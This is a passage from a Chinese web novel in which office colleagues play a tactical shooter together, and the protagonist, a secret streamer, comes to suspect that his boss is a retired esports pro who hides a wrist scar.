武天骄笑了一下说:“听于二组长说,说季老板之前在开放日的时候,跟官方负责人打了一把游戏,就直接给咱们把项目定了。” 于和郁的读音太近,来庭季后,于丘洋手一挥,表示大家可以叫他于二。 被武天骄一提醒,小穆也眼前一亮,兴奋道:“季老板大发神威!是把负责人打赢了吗?” 季闻则心道怎么可能。说句不好听的,克里夫还配不上,摆一个键盘就能被吓破的胆子而已。 而且他不会再碰电竞,就像他很多年前,捐出那把键盘时告诉自己的一样。而一直以来,他也是这样践行的。 可……真的是吗? 季闻则目光越过几人的肩膀,落在屏幕里熟悉的游戏画面上。 上面画着的都是这些年新出的英雄,原本,对他来说应该是全然陌生的,可他现在却能清楚地叫出每一个的名字、技能。 从他点开薛简发来的那个直播间开始,从他仅仅为了留住一个“不那么普通”的下属、又一次伪装成Execut2开始……像是一首曲子,弹错了一个接一个的音,已经循规蹈矩七年的生活,突然就这么脱了轨。 心里有个声音告诉他,现在停下还来得及。 季闻则收回视线,脸上肌肉记忆地挂起温和疏离的笑容,唇舌一碰,就要习惯性说出那句拒绝的话。 可还没开口,他看见郁思白叹了口气,肩膀微微垂落下来,像一朵终于开累了、于是蔫下来的花- 郁思白把消息群发出去之后,等了好一会儿都无人回复,这才反应过来。 不对,这个点儿,要么就是他们打训练赛的时候,要么就是训练赛后正在复盘,反正都不是能看手机的时间。 真是工作昏头了…… 郁思白为自己苦逼的牛马生涯重重叹了口气,但想到即将落成的场馆项目,又精神满满。 他一抬头,在门口看见了一个意料不到的人。 咦?又是野生季闻则,什么时候来的? 他抬手正要打招呼,就听对方开口。 “好,我打一把吧。” 郁思白还没联系到上下文,小穆先一步跳起来,冲向电脑。 “好!五排车队凑齐了!无畏契约!启动!”—— 作者有话说:估算失败了,写着写着好像不止三章……不过也很快了![撒花] [猫爪] 第44章 “但是我没有账号。”季闻则说。 小穆立刻道:“我有我有, 我登室友的号!季总您玩我的。” 说完之后,小穆在心底暗暗给自己点了个赞。 哇!穆宇!你上班已经进化出这么优秀的情商了! 他心里思考得很认真。季总肯定是新手,如果打室友的号, 岂不是会给人家号上留下不太好看的战绩? 还是由自己操刀室友的号,让季总在自己号上随便玩吧! 这边两人说了几句后, 郁思白才明白情况。 季闻则, 要跟他们打游戏? 他下意识朝季闻则看过去,但对方竟然奇怪地避开了他的视线,侧身道:“刚从外面回来,我去洗个手。” 小穆当然无有不应,表示自己先去给他借账号,不着急。 一楼电竞区对面的地方就是水吧台, 季闻则背过身去洗手,扯了张纸擦干后, 又恢复了惯常挂着浅笑的表情。 郁思白只当自己刚刚是看岔了。 对于季闻则打游戏这件事, 他虽然有点好奇,但关注度也高不到哪去。 毕竟他自己现在才比较危险吧! 虽然说掉马之后, 似乎也没有什么坏事发生,但郁思白还暂时没有直接在公司实名直播的打算,于是就想着,要不要等会儿装菜试试。 可思来想去他觉得, 还是全力以赴的好。 反正光看枪法, 他顶天了就是个铂金水平, 而枪法恰恰是最容易让别人觉得“哇你好牛”的东西。所以只要不开口去接指挥的活儿,想装菜,小郁主播只需要做自己就够了。 想想……也是有点心酸。 郁思白又叹了口气。 季闻则因为这声叹而脚步一顿,又抬眼看过去, 郁思白捧着手机,仍旧若有所思。 他眉头微不可查地拧住,在对方抬头之前,及时收回了视线。 小穆把他迎到联排电脑前,极热情地问:“季老板您坐哪儿!” 因为原本只有三个人,所以他们下意识就坐在了最中间的三个位置,从左至右依次是江勘、武天骄和放着小穆外套的座椅。 郁思白坐在靠近最里侧座位的沙发上,想来是要坐里面的位置。 季闻则便走向最外侧,江勘看过来,思考两秒,忽然起身对郁思白说:“组长,你来这儿跟季老板坐一起?” 郁思白心里正想着“怎么装菜”这种大事儿,再加上对座位本身就比较无所谓,闻言也没说拒绝的话,点头表示自己知道了,顺嘴答应。 “马上来。”他说。 可没等他起身,就听季闻则道。 “不用特意换,就这么坐吧。” 郁思白一愣,单线程大脑才开始转座位的事儿。 季闻则说得对啊,确实不用……可自己刚刚为什么会把那个换位置当成理所应当? 好怪。 收了手机,郁思白总有种迟则生变的感觉,立刻起身在临近的靠边座位坐下,靠窗的晚风一吹,把他吹得神智清明。 算了,肯定是想东西走神的原因。 几人纷纷打开游戏,有的电脑加载有点慢,等待的时候,郁思白随口问道:“你们什么时候开始玩的?” 武天骄和江勘都表示没玩过,只是唯一玩过的高向日去过二人世界了,于是两人才被小穆临时拉过来充数。 郁思白点了点头,对今晚要扮演的角色了然于胸。 很好!他决定了,自己的人设就是——比江勘武天骄强一点,能把路走明白,能开/枪就行,要是打得到人,那就是运气好。 江勘腼腆道:“我弟弟玩,平时也看过他打。感觉有点难,希望不会拖后腿。” 小穆立刻表示没有关系。 郁思白直接说:“没事,我也不太会,季老板也是没接触过的,大家都是同一起跑线。” “嗯嗯,没事。”小穆道,“我会带你们赢!” 他撸起袖子,摩拳擦掌,身边一群同事领导都等着他带飞的感觉,让他脑海里此刻只有兴奋在燃烧。 郁思白还没戴耳机,忽然听见咔哒咔哒的奇怪碰撞声,循声看向最左边。 那是季闻则的方向。 但两人之间此刻隔着三个大活人,他一扭头竟没看到,探了下脑袋,才得勉强看见人墙最尽头。 发出声音的,原来是季闻则那块手表,在桌面上一磕一磕,声音还颇有节奏。 “手表有点碍事就摘了呗?”郁思白顺口道。话音刚落,其他人也齐刷刷看了过去。 江勘定睛一看,轻轻“嘶”地抽了口气,说:“老板这块表……还是别摘了吧,万一临走忘记拿就坏了。” 武天骄回头看向疑惑的郁思白,抬手比了个数。 这个价。 郁思白睁大眼睛,咋舌。 “没事,不影响。”季闻则动了动手腕,把表调了调松紧,勉强不会再磕出声音。 他动手腕的时候,表盘反光,不小心晃了一下郁思白的眼睛。他立刻就收回视线。 咦惹,金钱的光辉。那不摘表也正常了。给他一块,他也得24小时不离身。 郁思白的游戏终于加载完毕,他想了想,还是登了自己的小号。 pupu和kulu还没结束训练,联系不上,也不好说一会儿要不要用他俩各自的小号直播。自己的小号,除了直播间铁粉也没人注意过,用一下也没事。 唯一的问题就是,他这小号的段位不算小,甚至比大号还高些…… 郁思白登进游戏,调完灵敏度之后,加入队伍,小穆随手看了眼他的信息,卧槽一声。 “组长你、你是神话啊?!” 无畏契约的段位体系里,神话是仅次于辐能的第二高段位,才往下一个是超凡段位,再之后,才是小穆的钻石。 不过钻石在普通玩家里,也算是水平不低的了。 郁思白摸了下鼻尖,说:“是朋友用的我号打的。” 他没说假话。 他这小号,原本真的是个只有黄金段位的小号。 先前有一次他大号直播上分,那天遇到了几个很不懂配合的队友,一分没上,反倒是直接掉了一个大段位。那会儿正值休赛期,梁路听说了之后,就想带他一起上分。 那时候郁思白和他还没多熟悉,理所当然拒绝了,过了两天,梁路找了个理由要来他的小号,一周之后,这号回到自己手里,赫然已经是最高的辐能段位了。 梁路那小孩很固执,似乎是要用这种方式证明“我真的很厉害”,此后好像就养成了帮他小号上分的习惯,每个赛季初,先不打自己的,第一个登上的总是他的小号。 郁思白婉拒两次,明着又拒绝一次,小孩仍然非要玩,pupu说他想向“特别乐于助人的Execut2”学习,就乐意干这种乐于助人的事儿,郁思白一听卡神的名号,就随他去了。 小穆听他说是朋友打的,心里也是一点都没怀疑。 毕竟他们组长平时这么忙了,要是见缝插针地打游戏都能这么厉害,那岂不是有当职业电竞选手的天分?! 可是组长这么厉害,也并非没有可能呢。 小穆搓搓手,丝毫没有察觉,自己不知何时已经变成了无脑组长吹。 五个账号排排放,武天骄和江勘的都是没定级的新号,小穆用的是室友的超凡段位账号,季闻则用小穆的钻石号,在场段位最高的,果不其然是郁思白那个神话段位。 小穆退出排位模式,遗憾道:“天骄姐和江勘哥是新号,排不了位,我们打匹配吧。” “都可以。”郁思白点头,心里却道。 先不说段位差距太大不能五排的事,小穆这孩子,竟然真的想带着三个新手去打超凡神话段的排位?他的分这么不值钱吗。 “先打一把娱乐吧。”郁思白说,“让他们熟悉一下。” 小穆恍然点头。 很快,郁思白就知道他为什么想排位了——估计是想看看自己是不是假的神话段。 因为每到残局,自己右上角的观战人数永远都有小穆的一份,表情还格外认真。 于是小郁主播装得更出神入化了。本就没什么准度的枪法,在他基本没怎么用心的瞄准下,已经连黄金都不如了。 一把娱乐局下来,他们果不其然大比分输了,努力装菜的小郁主播,荣获己方第二名的好成绩,一共拿了十个人头。 第三竟然是季闻则,击杀数比江勘和武天骄加起来还多一个——一共五个。 小穆顶着30杀的豪华战绩,把巴掌拍出残影,呱唧呱唧道。 “组长!你杀了十个人!你太厉害了!” 郁思白:? 他学着小穆的样子,也面无表情地呱唧。 “季老板,你杀了五个人,你太厉害了!” 他说得挺真心实意。刚刚有几次他死后观战季闻则的视角,发现他反应很快,一手技能虽然到处乱丢,但也没发生过“燃烧/弹烫到队友”这种新人常见的操作。 被这么一夸,顺位第三的季闻则侧头看向并列第四的剩下二人。 “我真棒。”武天骄抢先夸了自己。 江勘一想到,自己第一次被老板夸竟然是在打游戏上,顿时也不太能接受,立刻跟团:“我们两个真厉害!” 电竞房充满了快活的空气,小穆招呼着大家去标准匹配模式玩玩。 其余四人都选了英雄,只剩季闻则的栏位还空着。 小穆号上是全英雄,所以猜测可能是老板挑花了眼,想了下建议道。 “我们差一个二突,季老板你要是想的话,可以试试壹决。” 这个英雄不像烟位和信息位,需要很强的跟队友的配合,自己单打独斗也可以发挥不错的效果。 季闻则应下来,锁了这个英雄。 冷不丁的,郁思白想到,壹决好像就是Execut2退役那年新出的英雄。Execut2在队内打的是突击位,如果还在联赛,多少是会尝试着练练的。 壹决是渝市人,看到这个设定的时候,年轻的小郁主播还以为这会是他和卡神缘分的开端。 没想到…… 唉。 郁思白又是一叹,隐约感觉一道目光落过来,可扭头去找的时候,又没有结果。 他对这个英雄始终有点不一样的滤镜,平时排位里见到,都会忍不住多关注一点的程度。于是对局刚加载进去,他就操纵着自己带着面具的斗篷人角色,蹦蹦跳跳来到季闻则身边。 两个角色隔着屏幕和次元对视。 壹决忽然转了个身,躲开目光问:“我可以买哪个技能?” 小穆上把就担任着给大家扫盲的角色,闻言刚要开口,就听见郁思白先开始介绍。 “这个C技能是放出一堵墙,Q是一个易伤效果、就是推到敌人身上,会更容易打死,E的话,你准备去打人就可以开,会给你上一个护盾……” 季闻则表示清楚了。 郁思白原本是打算开打之后也多教教他的,但他是烟位,要负责给队伍放烟雾弹遮挡对方视野,打了两局,自己都把这事儿忘到了脑后。 直到第六回合,他封完烟正要进点,对面却有好几道枪线隔着烟雾弹朝他袭来。 郁思白下意识就要喊“壹决推个盾”,但立刻意识到这不是自己排位的场合,于是默默转身就要撤回掩体。 就在此时,眼前忽然被推出一堵紫色的光幕墙——壹决在他身后把盾推了出去,挡住了所有的子弹。 郁思白起初以为是意外碰巧,但紧接着下一局,壹决又在队伍正好需要、且压根没人要技能开口的前提下,帮队友给点里的敌人挂了个易伤,小穆的一突角色进点就是一通爽吃人头,直接喊。 “季老板!技能给的太好了!”他问,“你以前真没打过?你思路也太灵性了。” “你们要进去,我就放技能。”壹决的脚步似乎顿了一下,季闻则开口。 “大家应该都会?” 小穆诧异:“怎么可能!我刚玩这游戏的时候,要么就是乱放技能,要么好几个回合下来技能都没用过的……嘿嘿,那要不就是组长教得好——是吧组长!” 他说着扭头看向自己旁边的郁思白,却见他神情若有所思,缩了下脑袋,没去打扰。 此后的回合,郁思白始终分神注意着季闻则的操作,却再也没有看见过刚刚那样默契的配合场面。 这人好像突然变得伤仲永了似的。 但越是如此,郁思白的眉头就皱得越紧。 不对。他想。 正如小穆所说,能够配合队友打道具本身就是一件很吃游戏理解的事。如果一个人上半场枪法神乎其神,下半场忽然怎么都打不中,那真的有可能,毕竟这种东西很看临场状态。 但游戏理解不是。 这就是为什么很多职业战队的指挥位,哪怕枪法不那么好,又或者年龄渐长,精力不足,但还是被高薪留在队伍里的原因。 游戏理解是最装不出来的东西。 无论是菜鸡装高手……还是高手装菜鸡。 都太过明显了。 郁思白压下心头古怪的想法,捏紧鼠标,继续投入对局。 虽然配合上烂了一点,但对面匹配到的也不是什么厉害人物,在小穆的狂轰乱炸下,他们竟然率先拿到了12分的赛点。 眼看就要迎来今晚的首胜,众人一鼓作气,在小穆的指挥下,齐齐聚集在A点形成重防。 然后被人打了个零换三。 “啊啊啊大意了!!”小穆哭嚎。 转瞬之间,进攻方的敌人已经涌进A点放下爆能器,而防守方仅剩的季闻则、郁思白二人,也被逼退后方。 五打二,即使对面有两个残血,也几乎是不可能完成的残局了。 小穆侧头看见郁思白不怎么轻松的脸色,立刻震声宽慰:“没事没事,输了也不怕——” 可郁思白仿若未闻。 他此刻抬枪瞄着壹决的方向,准星正正落在他头上,心里早就种下、却总被拔掉幼苗的那颗怀疑的种子,在此刻突然彻底不受控地生长起来。 脑海里,陡然冒出一个疯狂的想法。 就是拼着自己Respit2的马甲暴露,他也要做! 小穆仍在话疗:“……我们赛点,他们有得追呢,组长你们可以保——” “嘘。”郁思白叫停了他的安慰。 “残局。” 残局,尽量不要开口影响队友的判断。 小穆愣了一下。 组长这是要打的意思? 他一住口,频道里霎时间就安静下来,耳机里,对方的一切动静都被凸显出来。 郁思白的声音在此刻显得格外清晰。 “季闻则,我指挥,你可以吗?” 频道里静了两秒,却像过了一个世纪,但他终于听见季闻则说。 “听你指挥。” 郁思白提起一口气,开口就是:“A二楼,中门,有两个人,我去给你拉枪线,你去把他们处理掉。” 小穆听得目瞪口呆,却不知道该先震惊组长突然熟练运用的报点术语,还是他对新手季老板这么恐怖的信任。 组长,你是说,让一个现在只杀了12个人的壹决,去啪啪点掉两个就等他出现的敌人? 您当这是砍瓜切菜吗!组长! 如果是自己还活着,小穆觉得这可以尝试,但也仅仅只是“可以尝试”罢了,他哪有那个能力保证一定能行? “好。”季闻则说。 小穆彻底没了声音。 算了算了,让两位放开了随便打吧,不保枪也没关系的,他们的经济勉强能撑住,下局让江勘哥给自己买一把……嗯??! 他脑海里还没转出下一局的思路,就看见右上角弹出两道击杀提示。 击杀者的地方写着他的id,有一瞬间,小穆甚至以为是自己在打游戏,旋即意识到不对。 用他号的是季老板啊! 就、就这么轻松地杀了?? 他再仔细一看,助攻列表还附有郁思白所用英雄“幽影”的头像,顿时了然。 原来是组长用自己手上仅剩的致盲技能,让对方两人暂时失去视野。 虽然说这样能连点两人,也是很厉害了,但这是可以理解的厉害程度。 下一秒,郁思白接着指挥:“你开大抓对面狙,我准备进点。” 英雄壹决的大招,可以将首个触碰到的敌人,拉进壹决的独立竞技场,进行强/制单挑,是一个很强力的技能——就是有点吃枪法。 不过季老板如果保持刚刚连点两人的状态,也并非没有可能。 小穆暗暗点头,组长思路真的很清晰,难道他真的是游戏天才? 一边想着,他一边开口提示。 “季老板!狙好像在A大外面,就是那个门口——啊啊拍错了,没事随便抓一个也行!” 他说话仍是慢了一拍,季闻则在郁思白话音刚落的时候,就已经把大拍到了中门外的位置。 没事的没事的,小穆想。新手把壹决大招拍错方向也是人之常情…… 可眼前一花,他跟随着观战视角进入独立竞技场,霎时间睁大眼睛。 对面,赫然就是他原本以为在A外的、扛着狙/击/枪的敌人。 小穆顿时失声,猛地扭头看向郁思白。 他的天才组长此刻极认真地盯着屏幕,自己连封两个烟,其中一个盖在了包上。 小穆连忙切换成观战组长的视角。 封烟后,紧接着,郁思白一个熟练的假传送骗过敌人,让对方以为自己悄悄落进了烟雾之中,点里仅剩的两个敌人扛着枪,顿时对着烟就一通扫射。 如果里面有人的话,此刻必定已经被扫成了筛子。 但很可惜,一切都是郁思白的陷阱,他掐着时间绕出自己的位置,冲进点内,抓住敌人正对烟穿射的机会,一枪击/毙了其中一个。 另一个人反应很快,立刻转移枪口。郁思白此时正背对着那人,后背弱点尽露,血条瞬间下去大半。 小穆霎时间屏住呼吸。 现在局面非常紧张——郁思白是一碰就死的血量,季闻则却还在壹决大招是竞技场里。 如果郁思白死了,对面的敌人在处理掉郁思白之后,转身就能轻巧做掉季闻则。 因为一墙之隔,就是季闻则开大进入另一个空间后、在现实留下的锚点,而哪怕他真的成功打过大狙,出来之后,迎接他的也是已经架在头上的枪管。 而他手无寸铁。 小穆没想到一个五打二的残局,竟然能在现在变成二打二,他憋了会儿气,最后还是呼了出来。 郁思白在这边眼看就要死掉,这回合,应该是没机会了。 他不忍心看到组长被这样像筛子似的打死,点了一下鼠标,切去了季闻则的视角。 季闻则那边,开大招进入另一个空间的独立竞技场后,两个人被投放在了竞技场两侧,面前立起两道几人宽的防护高墙,给两人一个喘息之机。 这道高墙会在几秒后落下,那时对手间才会再无阻隔。 一般来说,新手都会下意识在墙后先躲一下,好一点的会在这时候调整准星育苗头线。 但无论如何,郁思白那边都已经等不及了。 郁思白躲进烟里,对面在混烟,无数子弹擦着他的身体过去,把他的血量削减至最后的一丝——生死一线。 季闻则陡然从高墙后大步跨出,他脚下飞快,一步不停,瞬间捕捉到对方在两墙之间的缝隙—— 急停,瞄准,开枪! 子弹瞬间将对方头颅打了个对穿。 决斗胜利的音效在每个观战者视角响起,壹决从角斗场得胜归来,回归现实。 郁思白看见右上角的击杀提示,在枪林弹雨中冷静开口。 “我能拆一半……” “你不会死。” 季闻则在回到现实的瞬间没有先抬枪,而是以小穆想都不敢想的手速精准朝点内推了一个易伤技能。 小穆眼睛都睁大了,张着嘴说不出话。 他看得清清楚楚,季闻则头都没低一下,仿佛技能位置已经成了他的肌肉记忆,推出去的时候毫不犹豫,看起来完全像慌乱之中随便打出了技能,但对对面敌人位置的判断精准到极致。 原本在混烟的敌人吃了一个易伤,身上挂上了代表脆弱的标识,下意识收枪要往后退一步。 “双拉。” “一起!” 两人异口同声,下一秒,季闻则在墙后闪身而出,郁思白侧身从躲藏的烟里举起一步向外! “砰砰!” —— 滴、滴、滴…… 枪声归于寂静,爆能器逐渐加速的倒计时声几乎和心跳同频。 “去拆包。”季闻则说。 郁思白从怔愣中回神,收枪转身,蹲下按下拆除键。 拆除成功的瞬间,他们也拿下了胜利这把游戏的胜利,胜利结算让郁思白屏幕里的画面变成慢镜头,他看见自己的英雄缓缓抬头,视线里,从脚到头扫视着和他并肩作战的人。 耳边,小穆的欢呼声火热地响起:“组长!老板!你们也太厉害了啊啊啊!” 刷拉。 季闻则推开键盘鼠标,脸上带着一如往常的轻笑:“我去个卫生间。” 郁思白的目光顿时跟过去,可季闻则已经说罢起身,走得匆匆。 “……哇我跟你们说,老板绝对平时就玩的很厉害!”身边,小穆兴奋地说着,抬手给江勘和武天骄指了指季闻则位置上的键鼠。 他的键盘是向□□斜着放的,大约四十五度的角度。 “哈哈,这个我们叫斜键仙。常玩的有一大半都会这么放键盘,喏,我就是这么放的。这样手腕不累,按键也方便……诶组长你去哪?” “卫生间。” 郁思白丢下三个字,也推开椅子快步离开。 “嗯?”小穆疑惑,“课间上厕所?” 江勘眨眨眼问:“他们还回来打吗?” 武天骄说:“可能不回来了吧。” 三人面面相觑。 屏幕上进入战绩显示画面,小穆定睛一看,卧槽一声。 他原本以为,钻石段位的自己才是带飞众人的角色。 可郁思白和季闻则,明明中期击杀数量不算显山漏水,但现在一看才发现,季闻则的击杀不知道什么时候已经超过了小穆,郁思白的助攻数量更是有惊人的37。 这是什么概念?几乎队内一大半的人头击杀,都有他的配合。 华丽丽的战绩就这么留在小穆自己的账号上,他懵了一会儿,呆呆的,又吐出一句小小声的“卧槽”- 郁思白落后季闻则半分钟,他先去了离电竞房最近的那个卫生间,但里面空荡荡的没有人,一路找过去,终于看见了最尽头亮着的那盏灯,里面却一片安静,针落可闻。 于是也更清晰地,能听见他急而重的心跳。 郁思白站在外面停下脚步,生怕再靠近些,自己的心跳声就要被里面的人听到。 他没有看到季闻则的视角,但右上角击杀提示的速度就能直观地反应出,他的枪法,绝不仅仅是“快准狠”能够形容的。 毫不夸张地讲,pupu、梁路,还有他认识的其他职业选手,约莫都有这个水平。 如果说枪法在高分段是最不值钱的东西,那意识,就真的只是个人所独有的宝藏了,如同在黑暗里提着一盏灯走路似的,自己或许恍然不觉,但在其他人眼里,是怎么都忽视不了的。 虽然仅仅以游戏技巧就怀疑别人的身份,听起来实在是天方夜谭,但郁思白觉得此刻的自己就像一只被冲昏头脑的鸵鸟,管他三七二十一,先横冲直撞,再说! 郁思白深吸一口气,告诉自己稳住、再稳住,直到听见卫生间传来水龙头哗哗的流水声时,才走进去。 在外面等待的时间里,他没有打好腹稿,也不知道自己进去之后要说什么,但他迫不及待地推门。 季闻则弯腰伏在洗手台前,掌心掬着水,脸上有残留的水渍,前额的刘海也被打湿,不再像往常一样,精致又体面。 他从镜子里看见了郁思白的到来,唇角扬起温和的笑,只是那笑并非郁思白所希望的,因此让他恍惚了一下,下意识移开视线。 季闻则伸手,关了水龙头。 流水声骤然停止,郁思白的目光,却豁然黏在了他的手腕上。 洗手台前的灯光格外明亮,映得一切都纤毫毕现。 大约是洗手的关系,季闻则摘了他那块价值连城的表,表被随意丢在一旁,他左腕内侧,比手表更晃人眼睛的,赫然是一道浅淡的伤疤。 “你的手……是怎么回事?”郁思白问。 他开口之后,竟然觉得连自己的声音都陌生起来。 季闻则大概是没想到他会问出这个问题,先是一怔,眉眼间多了几分无奈,可最终又还是变回那张笑脸。 转过身,季闻则来看着他,抬手,似乎是犹豫了一下,垂落之后,最终还是抬起。 左手搭上他的头顶,带着恰到好处、令人安心的力道,在他发旋上轻轻地摸了两下—— 作者有话说:今天三合一长长,还一章加更[猫爪] 第45章 对面的人一言不发, 似乎在思考要怎么说给他听,又或者只是单纯的不想告知。 “是之前你提到的……车祸?”郁思白抿了抿干涩的唇,又问。 季闻则没有张嘴, 轻按了一下他的头顶,似乎“嗯”了一声, 但又像是幻觉而已, 让人听不太清。 郁思白感受到头顶那只手的力道和温度,却又觉得自己灵魂出窍似的。 什么意思?不说话是什么意思?季闻则!你说句话啊!oi! 两个人再也没人开口,却也没有对视,默契地在安静中看向别的方向。 郁思白脑海里,却已经叽叽喳喳乱成一锅粥。 脑海里一个小人朝季闻则大喊着,另一个小人却又恨铁不成钢地吼他:郁思白!你也说句话! 只剩下代表自己的那个小人, 原地抱头,像小孩炸锅后, 无助的新任幼儿园老师。 他开始觉得自己实在有些冲动, 但季闻则越是这副秘而不宣的反应,不就越在佐证, 他冲动的方向是对的吗? 可是现在又要问些什么……死嘴,快出声啊! 这时,一道微信铃声陡然响起,声音来自郁思白的口袋。 季闻则收手, 郁思白只觉得头顶一轻, 然后猛地回神。 “你……”季闻则刚开口, 却被郁思白一个眼神打断。 郁思白收回那个下意识已经丢出去的眼刀,没有走开,也没从卫生间门口挪动半步,就这么豪横地把人堵在里面, 从衣兜摸出手机接通。 他一句话没说,态度却很明显。 等着。 来电的是ICG分派给他的运营专员,原先兼任他房管的那位。 自打专属高级房管404上线后,这位房管就一股脑扎进了运营的海洋,一个多月过去,已经成功脱离房管身份,粉丝群管理得井井有条,这次Respit2的生日直播,也是他主要策划的。 “res老师晚上好!希望没有打扰您。”小年轻礼貌道。 “还好,在当狱警……你说吧。”郁思白说着,又瞥了眼被自己堵在卫生间的人。 季闻则见一时半会儿出不去,索性走回洗手台前,抽了张纸,对着镜子处理自己还在滴水的发梢,渐渐的,又恢复了平日里那个优雅的季总形象。 最后他重新戴上那块价格不菲的手表,那道本就不甚明显的疤痕,再次被遮了个严实。 如果别人不去强行摘下那块表,疤痕似乎就能这样沉寂在时间长河里,被冲刷得更加模糊。 郁思白移开视线。 “抱歉,刚刚那句能再说一次吗?”他问电话对面。 运营专员嗯嗯两声,干脆从头道:“res老师,我今天是来跟您沟通一下明晚生日直播的流程,薛总说您最近忙,我们这边就参照着往年的生日直播自己设计流程了,我们对对看?您有意见随时提。” “好。”郁思白说。 “一共是三个环节。第一个是ICG这边、还有其他职业选手、主播录了生日祝福视频。我们都剪到一起了,名单我稍后发到您微信上。视频结尾有一个吹赛博蜡烛的环节,嘿嘿,是kulu提议的!” 郁思白惊讶:“梁路?” 说出这个名字的时候,他隐约感觉卫生间里的人投来一道视线,待他抬眼去抓,又已经被偷偷收了回去。 ……奇怪。 运营专员嗯嗯地道:“kulu可关注这事儿了哈哈哈,比蒲队还积极。搞得蒲队天天说他要谋权篡位。” 郁思白被逗得失笑。 运营接着道:“第二个环节是参考res老师往年的生日直播的,水友赛环节。黄金左右的低段位两把,超凡左右的高段位一把,预估大概两个小时……” “时间留的不太够。”郁思白想了一下,“至少两个半小时吧,和组织小学生春游一个概念。” 对面立刻表示记下来了,然后接着汇报:“最后一个是看粉丝祝福视频环节,我们提前筛选过,保证都是能播的。” 听到这个,郁思白不由得松了口气:“太谢谢你们了。” 往年这都是个费劲活。刚直播的那几年,为了保证新鲜感,他都是留到直播当天才看,但自从某年出过一次视频夹带私货、闹得直播间怨声载道的事儿后,郁思白就养成了提前看一遍的习惯,实在是很累。 他也不是没想过请一个助理,可线上面试他总觉得不靠谱,线下面试,他又不愿意露脸去见一个不一定相处多久的人。 现在有ICG帮他处理这些,终于也能松松担子了,这么一想,签约也不是坏事嘛。 又敲定了其他抽奖礼物和时间细节后,运营迟疑了一下,还是说:“还有一件事……就是第二环节水友赛这里,高分段的这个,res老师要不要考虑换一个呢?明天我们这边也会多给你配两个房管,以防万一……对了res老师,明天404老板来吗。” 一来一往的工作话题,早让郁思白过热的大脑完全冷静下来,他看了眼已经把自己打扮得规规整整,正倚在洗漱台前放空的季闻则,顿了一下,问。 “404老板,运营问你明天来吗。” 运营没想到他们这么晚会在一起,大惊失色,没忍住在电话那边“啊?”了一声。 终于被点到名字的季闻则抬头,说:“看你意见。” 郁思白眉头一挑,把问题抛回去。 “那看你时间。”说罢,他重新转回去问运营,“怎么突然加房管,是怎么了吗?” 运营苦涩道:“res老师你最近没直播,可能不知道。今年瓦这边的年度评选正投票呢……” “知道这个。我今年忙,播的少,就没参加。”郁思白说。 对面欲哭无泪,声音越来越心虚道:“我们想着这是您来ICG之后的第一个奖项,就,给您报上了……那段时间薛总下了命令说不能打扰您,我们就没跟您说……” 郁思白以为多大的事呢,一听就这而已,失笑道:“报就报了,也不会有那么多人投票。” “挺多的。”运营专员瑟瑟道,“您现在……是第一。” 郁思白:? 他原本带着点懒倦地靠着门框,现在一听这话,缓缓站直了。 运营道:“第二名跟您票数差不多的那个主播比较腥风血雨,路人缘不好,第三名票数差距又比较大,所以很多路人就都投给您了。” “第二名?谁啊。”郁思白皱眉疑惑。现在J站无畏契约分区的主播他都知道,明明都是还不错的体面人。 “叫tigerrr。”运营说,“就是那个……” 胡啸?! 郁思白这下是彻底震惊了,下意识抬头看向季闻则。 两个人之间距离不远,加上卫生间自带的混响,话筒里的声音,季闻则隐约也听得到一些。 他对郁思白做了个口型。 取保候审。 郁思白了然。 胡啸原本是被送进去了的,但邓工那边始终在负隅顽抗,胡啸大概直播确实赚了不少,便让家里人拿钱把自己暂时捞了出来,等到案件有了新进展,才需要被传唤。 “他干什么了。”郁思白问。 两个多月前他刚顶着tigerrr的主播身份来自荐二组的时候,这人不还只是一个签了大公会的新人主播吗? 这么快就能冲到无畏契约J站年度主播的前二名,这积累粉丝的速度也太快了点。 难道Execut2的判词真的这么神奇?说适合当主播,是能直接三个月登顶的的程度吗? 郁思白拧了下眉。 运营简单跟他描述了一下最近这位【tigerrr】的操作。 tigerrr显然是把Respit2当成最大的竞争对手,原本为了拿到这个年度主播,只是加大直播频率,各种找人双排玩节目效果,砸礼物带上分。 但一个多月前,tigerrr突然消失了一周,再回来就好像受了什么刺激似的,精神状态略显不稳定,简直开始了疯狂揽钱模式。 直播的时候,和另一个同工会的主播一起狂带节奏,其中受害者以Respit2为首,说他拽着卡神卖腐,吃退役功勋选手热度云云。 节奏一起来,黑黑红红的,直播间人气可不就冲上去了。 赞同他的人花钱发醒目留言支持,讨厌他的也得发醒目留言骂回去,tigerrr的直播间天天都发战争财。 嘴上敢骂敢说、敢带节奏,流量就会像苍蝇一样吻上来。也有人说“你这样起号,家里那两位还好吗?”,但显然,tigerrr似乎并不在乎。 因为tigerrr还有他引以为傲的一点——他枪法比Respit2好太多了,段位也是实打实的辐能高分段。 各种原因加起来,Respit2没开播的这一个多月里,tigerrr的流水和人气,就这么冲上了无畏契约分区的第一。 粗略估计,流水应该直逼七位数不止。 “他应该是在筹钱。”季闻则说。 案子一旦往法庭递了,积极缴纳赔款就是减轻量刑的最好方案,但赔款不是小数目。 郁思白点头表示清楚了,接着听电话那面的运营说。 “然后他在我打电话之前不久发动态说,明天会直播狙res老师的水友车队,让、让你……” “让我尝尝他的厉害?”郁思白觉得好笑。 运营卡了壳,半晌含糊道:“呃,差不多吧……反正不是什么好话,res老师你别去看了。” 郁思白想了一下,觉得也没必要非要杠这一个环节,便问:“备用方案是什么?” “娱乐性质的游戏。”运营简单解释过后,郁思白嘴角一抿,心里不大赞同。 简直就是另一个线上类型的国王游戏,而且是纯在整他的版本。 ……他这辈子是跟国王游戏过不去了吗?什么意思,天生皇帝命? 人在太无语的时候真的会笑,郁思白一扯嘴角道:“那还是算了,按以前的来吧。” 运营愁道:“那找谁一起排呢?” 郁思白愣了一下:“往年都是pupu……怎么了,他明天有事?” “res老师您是真的断网啦。”运营哭笑不得,“今年联赛开的早,明天就是第一个比赛日,ICG正好抽到明天的签……” 这样的话ICG选手全都不能来了,无论输赢,都不大适合过来。否则未来几天的比赛但凡输一场,回旋镖一扎,那完全就是逼兄弟反目,对谁都不好。 运营忍不住说:“要是ICG也有二队就好了……要不帮你问问其他职业选手呢res老师?” 郁思白否决:“都在比赛期,别打扰了。” “那退役选手呢?”运营又说了几个,“Founder、Colpsar……” “foun神不熟,coco最近忙论文,也是昏天黑地。”郁思白说,“没事,我正好想到了合适的人,我来处理就行。” “嗯,不是现役……我去邀请就好。挂了吧,辛苦啦。” 挂断电话的提示音在空旷的卫生间里格外清晰。郁思白把手机揣回兜里,看向季闻则。 季闻则也恰好在看他——或者说,他现在也没别的可看。 